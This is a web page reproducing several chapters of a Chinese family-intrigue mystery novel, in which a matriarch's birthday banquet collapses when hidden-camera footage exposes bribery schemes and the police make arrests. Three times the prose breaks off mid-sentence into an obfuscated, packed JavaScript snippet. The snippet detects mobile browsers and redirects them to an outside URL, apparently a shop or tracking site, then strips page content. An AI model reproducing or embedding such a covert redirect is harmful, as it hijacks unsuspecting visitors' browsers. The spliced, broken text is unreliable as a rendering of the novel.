“我自己就可以。” “这样我接你过来就没意义了……紧吗?” “不……刚好。” 保鲜膜在腰间一圈圈缠绕,童鸢只要一低头,就能看到司马荷生的鼻尖和发旋。原本紧张的神经在沉香的安抚下渐渐放松下来。 只听见刺啦一声,司马荷生将薄膜的末端贴紧,对童鸢说:“来我房间。” “……啊?” 这是童鸢第一次光明正大地进来主人房。司马荷生将阳光房里的躺椅搬了过来,架到浴缸边上,形成一个不太标准的T字。 司马荷生:“躺上去吧。” 童鸢终于明白她要做什么,差点落荒而逃,被司马荷生按了上去。 “怎么这么抗拒呢?”司马荷生问她,“你小时候,难道妈妈没有这样帮你洗过头吗?” 童鸢一怔,不知是该摇头还是该点头,最后只能顺从地躺在上面。 司马荷生的技法不算纯熟,也可能是因为害怕弄疼她,每一下都小心翼翼,反倒像上了催眠香,叫人昏昏欲睡。 童鸢提醒自己不能睡过去。本来叫司马夫人给自己洗头已经不合礼数,若是还在过程中睡过去,这不真把这里当理发店了吗? 她把两只眼睛睁得猛猛大,盯着天花板数瓷砖,数着数着,她问司马荷生:“三嫂和四嫂好像还没回来。” 司马荷生:“是啊,也不知道去哪了,可能正四处散心。” 童鸢:“也是……总会难过的。” “你一个人在这里,家里人应该也会担心吧。” “嗯……”童鸢不知道。应该,会的吧。 “你为什么选择来裴岛留学?听你的口音,你父母也是裴岛的吗?” 童鸢的双眼亮了亮,却说:“父亲是裴岛人,后来到哈兰留学,认识了母亲,毕业后就一直留在那了。” “哦,难怪。”司马荷生一寸一寸地轻按她的头皮,“那你呢?毕业后也打算留在裴岛?” 童鸢想起之前提到过的实习申请的事,说:“是的,我喜欢这里。” 司马荷生起身去拿护发素,只笑笑,没再说什么。 昨晚金宅灯火通明,童鸢想起童伯成和桃乐丝的葬礼,一夜没睡好,这时得了放松,尽管努力睁着眼皮,却还是在司马荷生的安抚下睡了过去。 梦里,她又回到了那个火场。消防员一刻不停地往家里灌水,却丝毫不起作用。他们压着她的肩膀,不让她往火场靠近。她看着房顶往下凹陷,看着三人一狗曾经生活的地方轰然坍塌。 她被浓烟呛到,猛烈咳嗽。 绝望扼住了她的咽喉。 她骤然睁开双眼。 清水在她脑后,经由水龙头,灌入浴缸。她又看见了司马荷生浴室里的鸢尾花瓷砖。 司马荷生正低头看着她。两人的距离很近,近到可以看到彼此眼里的身影。她的指尖是冰凉的,混合着洗发水的香味,按在童鸢的脖子上。 脖子上的大动脉一跳一跳,触碰着司马荷生微微用力的指尖,踩着两道不同的节拍。 童鸢感到恍惚,她不明白现状,她张了张嘴:“……司马夫人?” 司马荷生看着她,手上的力道缓缓松开。她说:“醒了?我还想给你按按肩膀。” “啊,不用……” “那要一起洗澡吗?”司马荷生从她身上起来,去拿毛巾,包在她头上。 童鸢彻底醒了,她从躺椅上起身,说:“不用,洗澡的话,我自己慢慢洗就可以了,比洗头方便。” 司马荷生站在她身前,轻轻揉搓着毛巾,替她擦去滴落的水珠:“真的?” “嗯,真的。”童鸢下意识地后退了一步。 “好,”司马荷生扬起笑容,“有什么需要,随时找我或者菲。” 童鸢心底没来由的慌张,随口答应了一个“好”,便急匆匆地跑回自己房间里,关上房门,落锁。 她靠在门后,看着窗前的全身镜,全身镜倒映着她苍白的脸,以及腰间露出的干燥的保鲜膜。她抬手摸上自己的脖子,生机勃勃的动脉上,印着三个红印。而在脖子的另一侧,童鸢看到了大拇指的抓痕。 她的眼睛酸了,热的,发烫。 为什么?她不明白。 她不明白司马荷生对自己的恨,更不明白的是,如果想杀她的人是司马荷生,为什么还要对她这么好?她到底知不知道面前的这个人就是她的女儿? 她恍恍惚惚地洗过澡,披上浴袍,想从衣柜里挑一身衣服。奇怪的是,今天之前,她觉得衣柜里的衣服每一件都好看,而今天之后,她看哪一件都觉得不顺眼。她看着躺在一旁的旅行袋,觉得还是自己的衣服舒适。 如果此时突然换穿自己原来的衣服,算不算是一种无声抗议? 她叹了口气,从司马荷生的给她的衣柜里挑了身素净的长袖牛仔,套上中领毛衣和开襟连帽衫。柔软的面料,刚好挡住那四颗淡淡的指印。 下楼时,司马荷生已经在客厅里等她。她正用电脑处理工作,刷新新闻, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17020843|190981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 听到脚步声后,抬头看向她:“都洗好了?” “嗯,洗好了。” 对方一脸无事发生的神色,童鸢只好扯起嘴角,也当是无事发生。 司马荷生收起电脑,穿上菲递过来的驼色针织外套,朝童鸢伸出手:“那我们走吧。” 童鸢看着她白皙的手掌,有一瞬间的犹豫,最后还是将自己的手心搭了上去:“好。” 在司马荷生面前,她好像永远只会说“好”。 葬礼后的宴会没有大办,只有姓金的几家人围在一起吃饭。这是头一回,餐厅的十五人大桌上坐满了人。其实,也不能算是坐满,因为金老大的妻儿还有金老二的女儿也都还在国外,一时回不来。 一大张桌子,加上童鸢一个外人,一共坐了十一口人。 既然金老大回来吃饭,老太太严少敏的两侧自然坐着自己的大儿子,以及唯一还能坐到身旁的小孙子金诺贤,接下来便按照辈分,左右左右地依次排过去。 童鸢的位次简单,根本不用算,只需要跟着司马荷生,坐到严少敏的正对面就行。 司马荷生和平日里没什么区别,只慢条斯理地吃饭,一副“金家的事情莫挨老娘”的模样。 金老大金志立鲜少回来吃饭,他一坐下,不等佣人布菜,便先自己给老佛爷盛了汤。老佛爷笑了,笑出嘴角边上的两颗金牙。 童鸢没见过金牙长什么样,只觉得有什么金灿灿的东西一闪而过。 现场没有人动筷,只有老佛爷低头喝着汤。 金志立看了眼空出来的两个位置,问一旁的老三金培立:“三嫂和四嫂还没回来吗?” 金培立看着手机,头也不抬:“可能是到哪家美容院消费去了吧。” 严少敏从汤的蒸汽中抬起眼皮:“美容院?天天去美容院,很贵的吧。” 金培立闻言,总算看了眼自己母亲,说:“人总得有些嗜好的。妈,要不要给你张罗几局麻将?” “哼,我打麻将是赢钱的,她们去美容院是去送钱的。” 肖月娥笑着插嘴道:“三嫂我不知,但四嫂我还是了解的。她时常在司马伯爵加班到很晚才回来,偶尔到美容院,不过是花自己的钱慰劳一下自己罢了。” 严少敏:“我知道虹霞孝顺,可那个何玥,我却看不懂。” 正说着,孝顺的不孝顺的都回来了。 何玥早已收起眼泪,可原本的一对大双眼皮还是被哭肿了,成了一单一双一对文武眼。袁虹霞张罗起不咸不淡的笑容,说:“哎呀,说了让你们别等。” 严少敏:“干什么去了?” 袁虹霞:“三嫂太伤心,我陪她散心去了。” 严少敏低声喃喃:“……净添乱。” 那声音很低,可在空旷的大厅里,在安静的氛围下,还是如突然响起的电话铃声般刺耳。 金志立立马道:“三嫂,四嫂,快坐下来吃饭吧。这段时间,大家应该都累了。” 肖月娥和其他人也跟着附和道:“对,吃吧,吃吧,都饿了。” 由始至终,何玥都没有说过一句话。 “不好意思,我去接个电话。” 二嫂曾秀芬没吃几口,突然放下碗筷,到外面打电话去了,再回来时,向来说一不二的气势淡了下来。她看着金恒立,欲言又止。 “怎么了?”金恒立问她。 曾秀芬看看左右,低声说:“宴会公司和餐饮部那边的电话,问我们后天的寿宴还办不办?” 严少敏耳聪目明:“办,为什么不办?” 何玥刚夹着一块牛肉,在嘴边停了许久,久到餐桌上的电动转盘转完一圈,她才把牛肉送到嘴里,干巴巴地咽下去。 “都听老太太的。” 她擦拭着嘴角。 童鸢看到,餐巾纸底下隐藏着的一抹诡异的笑。 28. 茶匙 028 严少敏的寿宴从周四下午三点开始。 从童鸢的客房阳台看出去,可以看到长长的车龙从山海湾的入口驶入,沿着公路绕过青岚湖,进入达摩山,在司机向门口的保安出示邀请函后,再沿梅花道,驶入地下停车场。 那是专为客人定制的停车场,和金家的内部停车场严格分开,有专门的电梯通向地面花园。 花园中有一巨大温室,分四大区域,四种气候。客人来了之后第一眼看见的便是在裴岛难以找到的植物。那是五嫂肖月娥和四嫂袁虹霞的会客区,凡是这两位邀请来的客人都会在温带花园里,赏着玫瑰喝下午茶。 从温室花园出来,是室外恒温泳池,有太阳伞一路连接到金培立夫妇的别墅。泳池里男男女女,有同为“厨力觉醒”节目嘉宾的美女学徒,也有童鸢尚未得及认识的“青年才俊”。 那个曾讥讽过童鸢的美女从泳池中起身,也不嫌春风冻人,朝童鸢比了个国际友好手势,然后才施施然穿上浴袍,走到某个太阳伞底下。 说实话,童鸢已经不记得她了,只管她叫“冻人美女”,反倒是突然从她身后冒出来的金诺贤提醒了她:“你都忍她几次了?” 童鸢扭头看他一眼:“怎么过来了?不去陪你妈?你不怕被骂,我还怕被牵连。” 金诺贤背过身去,靠在栏杆上:“你过虑了,她今天没空管我。” 肖月娥自然是没有空的,她和袁虹霞不仅要招呼自己的客人,还要配合曾秀芬,负责今天整场宴会的统筹和落地。 刚想到曾秀芬,曾秀芬便从摆渡车上下来,指挥叹世界餐饮部的工作人员,在靠近青岚湖的中心草地上,摆上自助点心。乐队在调试乐器,老二金恒立的客人从别墅客厅出来,走上草地,伴着维瓦尔第,举着香槟,开始新一轮社交。 这群人中却一直不见金志立。金诺贤说:“大伯父向来低调,不喜欢这种场合。他的客人也随他的个性,不是在地下音影室打台球,就是到青岚湖上,钓鱼打牌。你看。” 说着,他抬手指向湖面,果然有一艘游艇,从私人码头出发,往青岚湖的深处驶去。 童鸢:“那老太太的客人呢?” 金诺贤:“我奶她一把年纪,亲戚也大部分在北边,年纪比她都大,来的不多,能凑四张麻将桌就已经很不错。” “每年都这样?” “每年都这样。” “那为什么还要那么在乎大寿?” “谁知道呢?她不仅紧张自己的寿宴,还年年都要往乡里捐钱,修路,修小学,修医院等等。等东西修起来,上面就能刻上她的名字。我还记得小时候,有一年,六叔有工作,北上回乡里一看,发现自己捐出去的钱每年都在修同一条路,为此专门同我奶吵了一架。” “后来呢?” “后来?钱肯定是要继续捐的,只是二伯母想了办法,以叹世界公司的名义成立了专门的慈善基金会,弄了个办事处,派人回乡里盯着,每月汇报,这件事才算过去了。” “可曾秀芬不是餐饮事业部的副总吗?既要处理工作,还要兼顾家事,现在又多了一个基金会的头衔,不会太累了吗?” 金诺贤似乎并不介意她直呼自己二伯母的名字,说:“我们家的女人都是这样的。尤其是二伯母,四伯母和我妈,干起活来是真不嫌累。人人都怕多干了,偏偏她们唯恐自己干得少了。” 童鸢觉得他话里有话,刚想追问,却从他身后瞥见了何玥的身影。 何玥正站在斜对面的别墅阳台上,嘴里叼着烟。红色的火星在白天里明明灭灭,并不像夜里那般吓人。吞云吐雾间,她的眼神穿过空气,径直看向底下泳池里的人。 泳池边上,金培立张开浴巾,走向冻人美女,给她裹上。 金诺贤也看见了,习以为常似地吹起了口哨。 童鸢:“你早就知道?” 金诺贤:“你应该也已经猜到了的。第一次见面时,我为什么叫你樱桃,你想起来了吗?” 想是想起来了,但证据不足,无法形成严密链条,邝斯年也因此一直无法行动。 童鸢没再说话,只看着温室旁的电梯门打开,从里面走出来刕康耀和何炎彬。斜对面的何玥登时眯起了双眼。 今天的刕康耀和何炎彬没戴墨镜,满脸春风得意,仿佛只要葬礼一过,人命便不是人命。不只是他们,整座达摩山都是如此,社交的社交,娱乐的娱乐,已经没人记得前天才死了个金诺群。 有那么一瞬间,童鸢感觉刕康耀和何炎彬抬头看了何玥一眼,可这一瞬间很快就被钟子默的到来打破。 她深觉钟子默是个神人,明明是议员身份,墨镜一摘,便跑到这里来与金培立勾肩搭背。在他的手腕上,白金表闪烁着太阳的金光。 童鸢不知道这表是什么时候从金培立的手上跑到钟子默的身上的,但她至今还记得何玥在手表送人这件事情上表现得歇斯底里。也许,金培立当日想要借花献佛的对象便是钟子默,从头到尾都只有钟子默。 童鸢问金诺贤:“那个钟子默和你三伯父很熟?” 金诺贤笑笑:“早年是不熟的。但这位钟先生在安全这一块,包括消防安全标准上有很大的影响力,走动多了,应该就熟了吧。毕竟,关于酒店的消防安全,向来都是很严格的。” 余光里,白金手表被钟子默摘了下来,在半空中一闪闪,不仅闪到了童鸢和金诺贤,也刺伤了何玥的双眼。 只见她将手上的烟往阳台栏杆上一摁,扔进一旁的垃圾桶里,转身走了。 楼下,金培立抬头看了何玥一眼,伸手揽住钟子默的肩膀,走向太阳伞下的冻人美女,很快便被遮挡得没了踪影。 金诺贤:“你不用下去地下会客室陪六婶和她的客人?” 童鸢:“她说不用,让我随意,不必迎来送往。” 就在这时,童鸢看到任莲。任莲从花园电梯出来,身旁带着助理,助理手里拿着一个蛋糕盒,里面一层层地放满了甜点。 童鸢:“她怎么来了?” 金诺贤:“你不知道吧,我妈把‘厨力觉醒’的几位主厨都请过来了,说是为我退赛和停工的事情道歉。” 底下,任莲果然和肖月娥先打了招呼,递上糕点,随后往温室里的会客厅走去。忽然,她停下了脚步,扭头对上了童鸢的视线。童鸢感到错愕,见她笑着对自己摆手打招呼,不好视而不见,便也对她摆了摆手。 金诺贤:“你很开心?” 童鸢:“没有。” 金诺贤抬手一戳,把她刚扬起的嘴角戳了回去,说:“我觉得你应该多花点时间在莲姐身上。” 童鸢:“为什么?” 金诺贤不语,转身拿起门边的一个礼品袋,说:“陪我下去送贺礼吧。” “我什么都没有准备。” 金诺贤从礼品袋背后又变出一个礼品袋:“这不是吗?你可以把它当做我对你上次帮忙的谢礼。来吧。” “里面是什么?你不会坑我吧?”童鸢接过来一看,是一只力湾陶瓷做的生菜如意,上面还卧了一只蝉,算是中规中矩。 “怎么样?还满意不?” “老佛爷吃生菜不会过敏吧……” “……啧,我在你心里到底是个什么形象?跟我走啦。” 从司马荷生的别墅出来,需要经过迂回长廊,才能去到严少敏所在的会所。 刚转过拐角,便见何玥站在锦鲤池的角落里打电话。何玥原本声音小小的,结果越说越大声,惊得一旁的鲤鱼乱跳,童鸢不由得多看了几眼。 另一边,金培立也从自己家的别墅出来。他跨步走上回廊,看样子是要到会所里去,可他刚迈出半个脚便又缩了回去,换了方向,走向何玥。 金诺贤:“别看,不是什么稀罕事。” 对于金诺贤来说不稀罕,对童鸢却是未必。她忍不住放慢脚步,落后金诺贤半个身位,透过竹丛间隙,看到金培立走快步走到何玥面前。也不知两人嚷嚷了什么,只听见“啪”一声响,何玥捂着半边脸,指缝红了一片。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17040573|190981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>金培立低声又说了几句话,那咬牙切齿的模样仿佛恨不得下一秒就把面前的人撕碎。 童鸢还想看,却觉手腕一紧,人已经被金诺贤拉走了。 会客厅里,严少敏果真在搓麻将,自摸得欢天喜地。又被亲戚哄了哄,见了“懂事的乖孙”便喜笑颜开。童鸢沾了金诺贤的光,严少敏很喜欢她袋子里的礼物,叫佣人拿出来,放到餐厅的架子上,那里还空出个小角落。 不知是谁老眼昏花,拉低了老花镜朝童鸢一个劲地看,张着没牙的嘴,说:“长得像妈。” 严少敏不答,叫那老花镜去按电动麻将桌的开关,要再打一圈,笑着扬手叫乖孙退下。 金诺贤得了令,像完成例行公事一样,退得干脆,拉起童鸢的手腕就又跑了。 何玥还站在原来那个角落里,不知道在和谁通电话。忽然,她手一抖,手机顺着她的手臂滚落到腰上,略一停顿,便又滚到了锦鲤池里。 扑通一声,药石无灵。 童鸢低声问金诺贤:“要去帮忙吗?” 金诺贤:“会有佣人打扫。” “可是……” 再回头,何玥已经不见了,只剩池底的手机咕噜噜冒着泡。 不多时,麻将声停了,游泳池也没了声息,夜幕降临,正式宴席在草坪上排开,舞台正对着青岚湖。临时搭建的屏幕上正播放着金家的相册。 肖月娥正站在入口处安排座席,让礼仪指引,目光往金诺贤手上一照,童鸢终于得了轻松,规规矩矩地坐到司马荷生身侧,金诺贤依旧傍着他奶。 司马荷生:“刚才去哪了?怎么没见到你?” 童鸢把被拉去送礼的事情说了,司马荷生的笑容明显一僵。童鸢尚来不及分辨这份僵硬,肩膀被一张宽厚的手掌搭上。 是任莲:“童童,你的伤好点了吗?” 童鸢急忙站起来:“任太,好久不见,我好多了。” 任莲从托特包里拿出一个小盒,说:“我猜,同是节目组的,应该能在这里见到你。这是给你做的马卡龙,希望在你吃药的时候可以帮你调剂一下味蕾。” 童鸢接过盒子,看着粉蓝色的缎带便上手摸了摸,不舍得放手。那是她喜欢的颜色和质感。 “诶……莲姐偏心,我的呢?”金诺贤斜靠在椅背上,笑着摊直手掌。 任莲像变魔法一样,从托特包里又拿出一个小盒,说:“我就知道。来,给你。” “多谢莲姐!”金诺贤隔着圆桌行了个大礼,双手接过,“是我最爱的紫色!” 任莲的目光扫过司马荷生,从身后的助理手中接过盘子,放到转盘上:“司马夫人还有各位,这是我准备的一点小心意,大家就当是饭前小甜点吧,千万不要嫌弃。” 司马荷生笑着看她:“怎么会?” 任莲递上名片:“这是我计划在裴岛开的主厨餐厅,开业后,还望赏光。” 司马荷生也递上自己的:“有服饰需要的话,也可以随时联系我。” 门口传来骚动,任莲起身:“应该快开始,我就先回去了。” 司马荷生又是点头一笑。 严少敏滚着轮椅进场,和任莲擦肩而过,在金诺贤身旁坐定,便有司仪走到台上,开始主持今晚的仪式。 除了曾秀芬和肖月娥外,其他人也结束了社交,回来落座。只有何玥一直不见踪影。金培立见母亲脸上闪过不悦,正想解释,严少敏却别过脸,不愿听。 就在这时,背景音乐停了,大屏幕上的背景被雪花所取代。 主持回头看去,不料和一张大脸来了个四目相对。 大脸渐渐远离屏幕,扬起笑容,在座所有人这才看清,这张脸不是别人,正是金培立。而在他身后,是某个酒店房间,墙面上雕着叹世界的标志。 金培立的脸在镜头前被扭曲成了鱼眼,弧形的嘴角和弯曲的眉眼带着小丑般的诡异与阴森。 左下角,白色数字在跳动。 2007年6月12日13:45:30。 29. 茶匙 029 金培立离开镜头之后,快速收拾好地上的工具箱,离开了房间,关上了灯。 视频一闪,进入夜视模式。 寿宴现场应该已经有人猜到,这条片子是从摄像头中拉出来的。 时间水印发生了跳跃,片子明显经过了剪辑。隔天夜里,豪华套房灯光大亮,滚进来一男一女,肢体缠绵,很快便推推拉拉地倒在了床上。 钟子默的脸瞬间花白,因为视频中的那个男人不是别人,正是他自己。而和他一起的女人,童鸢不认得,但从年龄来看,绝不是钟子默带出社交场合的那位夫人。 视频经过加速,钟子默很快脱了个精光,可未等事情正式开始,有人闯了进来。正是钟子默的夫人。 在夫人身后,恰好跟着金培立。夫人的肢体语言十分激动,金培立急忙挡在钟子默面前,替他挡了一刀。 接下来,视频再次跳转,主角依旧是钟子默,只是身边的女人人来人往,每一次闪烁都会换来一个全新的主角。 金培立坐在位置上,怔怔地看着视频,伸手摸向一侧。 那一侧,本该坐着何玥,可主持人上台至今,何玥一直不见踪影,金培立这下摸了个空,一下慌了神。 钟子默虽然脸色有异,但总有人愿意为他冲锋陷阵,刕康耀便是其中一位。他快步走到了LED屏幕一侧,和后台说了几句话。 曾秀芬恰好赶了过来,三人你看我我看你,最后看向屏幕。后台低声说:“我这里切不断,有人截了信号,投屏上去了。” 刕康耀看向钟子默,摇摇头,钟子默的五官终于有了巨大的波动。 反应比较快的是曾秀芬,她作为这场宴会的统筹,快步走到屏幕一侧,直接拉下了临时电源的总闸。霎时间,整片中心草原陷入了一片漆黑。 童鸢下意识地拉住了司马荷生的手。 司马荷生的手热得滚烫,甚至还烫出了些许汗水,童鸢只道她是受了惊吓,握得更紧了些。黑暗里,司马荷生扭头看着她,明亮的双眸里映着的不知是月光还是湖光。 这份黑暗并没有持续太久,一连串车灯从大门口长驱直入,头顶闪烁着红蓝相间的光。 车头灯在宴会入口停下,照亮了整个会场。 邝斯年带着侦查一科的人将伺机离开的钟子默等人堵了个正着。在他身旁,站着一个女人。这女人不是别人,正是一直不见人影的何玥。 何玥抬手,面无表情地指向金培立:“我要举报,三件事。” 金培立瞪大了双眼,冲向何玥。他动作迅速,却远不及陈莉的速度。陈莉抵住他的右肩,要求他后退,可他不肯,威胁何玥,要她感恩今日来之不易的生活。 何玥不听,还要继续,金培立红了眼眶,再度扬起手掌,被陈莉顺势反剪了双手,压弯了脊梁,不得不扬起眼珠,低着头瞪着何玥。 何玥依旧指着金培立,笑了:“这么大的礼,我还真从未受过。” 金培立咬牙切齿:“我劝你,谨言慎行。” 何玥笑得眉眼都弯了:“第一件,十八年前,金培立仙人跳钟子默,让钟子默为叹世界集团的消防检查开绿灯,时间长达十八年。” 金培立:“何玥……你!” 钟子默的脸由白转黑:“仙人跳?” 何玥:“想不到吧,不然,你觉得是谁给你夫人通的风报的信?也是,你直到现在都觉得他给你挡了刀子,有恩于你。” 钟子默:“……金,培,立!” 何玥:“第二件,金培立尝到了甜头,将消防检查等绿色通道和情色交易捆绑在一起,通过诱导、包养,进行一系列利益交换,涉及人员包括钟子默、刕康耀、何炎彬等人,叹世界名下酒店和樱桃公寓便是他们的重要交易场所。不过,他们应该今天才知道,金培立在这些地方都偷偷装了摄像头。” 何玥举起另一只手,手上拿着一张DVD:“这是证据,比那天在凤鸣洲际找到的那些照片要生动得多。” 这一次,不只是钟子默,就连刕康耀、何炎彬还有旁的人员,无论有关无关,全都看向金培立。 “第三件事,”何玥哽咽了,“我儿子金诺群是被钟子默的儿子杀死的。” 钟子默:“你别胡说,这种事情要讲究证据的!” 何玥闻言,看向他,步步逼近:“那天晚上,为了平息凤鸣洲际等一系列事件,我的两个儿子曾拿着这张DVD,约你儿子出来飙车。他们知道你有话语权,想通过令郎邀请你出面解决。可你儿子说什么都不肯帮忙,还设下赌局,要求他们赢了,才能和你见面。结果,比赛途中,他们拐弯时操作失误,酿成了车祸。而你儿子不仅见死不救,还将自己的痕迹抹得一干二净!你和你儿子都是杀人凶手!” 钟子默嗤笑:“你有没有搞错?我儿子那天根本没离开过家。” 何玥正想反驳,被邝斯年按住了肩膀。 邝斯年说:“可你儿子的车离开过,而那辆车并非什么可以自动驾驶的幽灵车,现场的刹车痕迹可以作证。” 钟子默:“……” 邝斯年抬起下巴,刘毅、安小贝等人上前,给刕康耀等人戴上了手铐。 邝斯年:“有什么要说的,跟我们回局里慢慢说吧。对了,如果要请律师的话,最好抓紧时间。” 金培立怔怔地看着向他走来的安小贝,突然,他睁大了双眼,朝何玥冲了过去。他的目标并非何玥,而是她手中的DVD。 他趁何玥不注意,一把夺下,扬起手臂,将DVD扔进了青岚湖里。 扑通一声,他对着何玥,笑了:“哈,没了。” 安小贝叹了口气,拉过他手,咔嚓一声,戴上手铐。她带着平易近人的笑容,说:“你觉得我们会拿着原件到处跑吗,金先生?” 金培立愣愣地看着何玥,被安小贝推着,走向侦查局的车。 经过何玥身旁时,他问她:“你是怎么找到的?诺群和诺宇又是怎么找到的?” 何玥:“你以为我一直都不知道你的怪癖吗?” 金培立提高了音量:“回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17054255|190981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 答我的问题!” 何玥:“就在化妆盒那。” 金培立脸色陡变:“你傻啊?这么重要的东西我怎么会放在你的化妆盒那!” 何玥那布满血丝的双眼里霎时堆满了诧异和疑惑。 金培立见她这副样子,自知多谈无益,扭头看向主人席上的诸位家人。他的眼神从他们身上一一扫过,最后落在童鸢身上。 邝斯年推了他一把:“走吧,金三先生。” 金培立走了。临行前,邝斯年看了童鸢一眼。童鸢的视线和他的有一瞬间的交叉,读出了他眼中的意味深长。 她扭头看向司马荷生。只见她微微皱着眉头,一直没有说话,再无旁的表情。 也许是感受到童鸢的目光,司马荷生扭头看她:“让你见笑了。” 童鸢一时不知该说些什么,只摇摇头。 肖月娥的手机又炸了。媒体不知道哪里得来的消息,纷纷向叹世界和达摩山围攻过来。 曾秀芬打开麦克风,向来宾们致歉,并提前终止了这场宴会。金恒立、袁虹霞和她打配合,引导来宾和车辆离开。 金志立也走了,跟着邝斯年的车队,拨通了叹世界律师团的电话。 金诺贤低头对严少敏说:“奶奶,我先送你回去吧。” 严少敏:“不。” 金诺贤:“奶奶……” 严少敏:“上菜……” 金诺贤:“啊?” 严少敏:“给我上菜!” 隔壁桌的乡里们早就遛了,金诺贤不明白他奶的这种行为,只觉得现在已经不是吃饭的时候,再勉强吃下去,恐怕也是食之无味。可严少敏依旧坚持。 司马荷生静静地看着她,看着金诺贤满脸的无奈,扭头问餐饮部部长说:“菜都好了吗?” 部长一愣:“好是好了……” “上菜吧,只上这一桌。” “啊……好的。” “还有,别忘了给她切蛋糕,一样都不能少。另外,把LED打开了,让主持人照常主持。” 大概是从未听过这么奇葩的要求,但定金已收,来都来了,后台重新点亮了屏幕,播起了生日快乐歌。混乱的现场,唯有严少敏安坐如泰山,一口一口地喝着快要凉掉的汤。 司马荷生的手机响了,童鸢只看到她的眉毛越皱越紧,最后说了句:“好的,他们可能去不了了,我代他们过去,可以吗?好的……我现在出发。” 童鸢:“怎么了?” 司马荷生:“一个小时前,因为多器官衰竭,诺宇也已经没了。” 一个小时前…… 童鸢记得,那是手机滚进锦鲤池的时间。 也许是医院一直不见何玥出现,打电话来催。已经滚进锦鲤池的手机不可能再有人接听,情急之下,医院打给了作为备用联系人的司马荷生。 说这话时,司马荷生是看着严少敏的。 严少敏握勺的枯手微微一颤,什么都没说,什么都没问,只将勺子继续往嘴巴里送。 30. 茶匙 030 今夜的侦查局又是灯火通明。 何玥坐在讯问室里,手里捧着纸杯。 纸杯里原本是装着白开水的,此时早就凉透,她却只是拿在手里,起不到暖手的作用,也没有半点要喝的意思。但此刻的她好像不拿着点东西就难以感到安心。 她的头脑还沉浸在刚才的寿宴里,耳边反复响起金培立被带走前说的话。 ——这么重要的东西我怎么会放在你的化妆盒那! 她不是没有怀疑过,那张DVD的是有人刻意放在那的。可这段时间以来,金培立的嚣张,严少敏的自私,加上嫁进来之后感受到的背叛和委屈,早就将她的心理防线冲击到近乎断裂的地步。 作为一个保有传统观念的女人,她可以为两个孩子隐忍,反正所有人都是这么过来的,睁只眼闭只眼便是一辈子。可老天不想让她这样活下去,它把金诺群和金诺宇也带走的。 最后一根稻草落下,再也没有人值得她忍下去。 原本,她可以低调地告发钟子默这群人。 反正东西就在自己手上,并且已经经过技术鉴定,没有造假,可以说是证据确凿。 可当她再次看着钟子默戴着自己的手表耀武扬威,当她看到金家的人一个个心安理得地开怀大笑,当她被不知悔改的金培立甩了一巴掌,她终于下定决心:这个家早该烂了。 她不仅要它烂,还要让它烂在严少敏最在乎的寿宴上。 这是对严少敏的彻底的报复。 都说上梁不正下梁歪,如果不是她坚持要办这场寿宴,就算有DVD在手,也不会有后面的事情发生。 没错,一切的罪魁祸首都是严少敏这个老女人,是她的自私,懒惰,造就了她那群儿子的自私和懒惰。一个连和稀泥都懒得和的女人,她才不要为她去营造所谓的“家和万事兴”的假象。 手中的纸杯被捏皱,撒出来几滴白开水,落在何玥的手背的裤子上,那感觉是冰凉的,可她却浑然不觉。 “何女士,你好。” 安小贝和邝斯年推门进来,手里拿着手提电脑和笔记本,坐到何玥对面。 何玥这才发现裤子上湿了一片,忙用餐巾纸吸干。她一边忙碌一边抬头看向两位探员,说:“你们有什么想问的尽管问吧。” 安小贝看了邝斯年一眼,开口说:“我可以先问一个比较好奇的问题吗?既然是十八年前的事情,你为什么选择这个时候举报?” 何玥:“在金家,我已经没有什么可以牵挂的了,他们的死活从此与我无关。” 安小贝:“那你的未来呢?你考虑过了吗?” 何玥:“最坏的打算不就是破产吗?我没有参与他们的那些龌龊事,但我也确实享受了这些事情所带来的财富,这个后果我可以承担。” 安小贝静静地看着何玥片刻,打开了电脑:“你是从什么时候开始知道金培立和钟子默之间的事情的?” 何玥:“在叹世界集团成立酒店事业部的第二年……” 安小贝:“那可真早啊。” 何玥:“是啊,是很早之前的事了……” 2005年,叹世界在餐饮业已经取得了巨大的成功,恰逢当时房地产行业兴起,作为公司董事长兼总经理的金少立和当时还只是财务部经理的大哥金志立打起了算盘。 金志立:“这个月的酒楼租金又涨了,快要接近按揭月供再加利息,还不如干脆买地建我们自己的酒楼。天天这样被房东扼住喉咙,真叫人受不了。要不是刚装修没几年,又积累了附近的熟客,趁现在这股风购入固定资产,是最好不过了。如果错过了,后面的生意只会更难做。” 金少立:“可是现在竞标,再加上设计、报建、封顶、装修,起码也得两三年才能建起来,过程需要承担的建筑费用,加上维持目前的运营开销,我担心我们的流水撑不住。要是贷款出问题,资金链断了,那就麻烦了。” 